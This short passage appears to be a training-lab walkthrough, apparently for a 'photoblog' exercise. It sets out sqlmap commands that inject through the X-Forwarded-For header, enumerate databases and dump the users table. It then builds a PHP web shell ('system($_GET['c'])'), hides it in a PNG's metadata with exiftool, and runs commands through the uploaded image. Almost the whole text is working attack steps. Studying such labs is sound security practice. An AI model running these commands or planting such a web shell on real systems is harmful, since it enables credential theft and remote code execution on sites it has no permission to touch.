Exploitation with SQLMap

You can also exploit this vulnerability using SQLMap. The syntax is a bit tricky, you need to tell SQLMap where the injection point is using *.

This can be done with the following.

Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" --banner

Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" --dbs

Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog --tables

Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --columns

Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch

create php file that contains <?php system($_GET['c']); ?>

Then we can inject this payload in our image using exiftool "-comment<=shell.php" malicious.png

Then check injection by strings malicious.png | grep system

Then upload the png file and try following command:
http://vulnerable/admin/uploads/1369904954.png/c.php?c=uname%20-a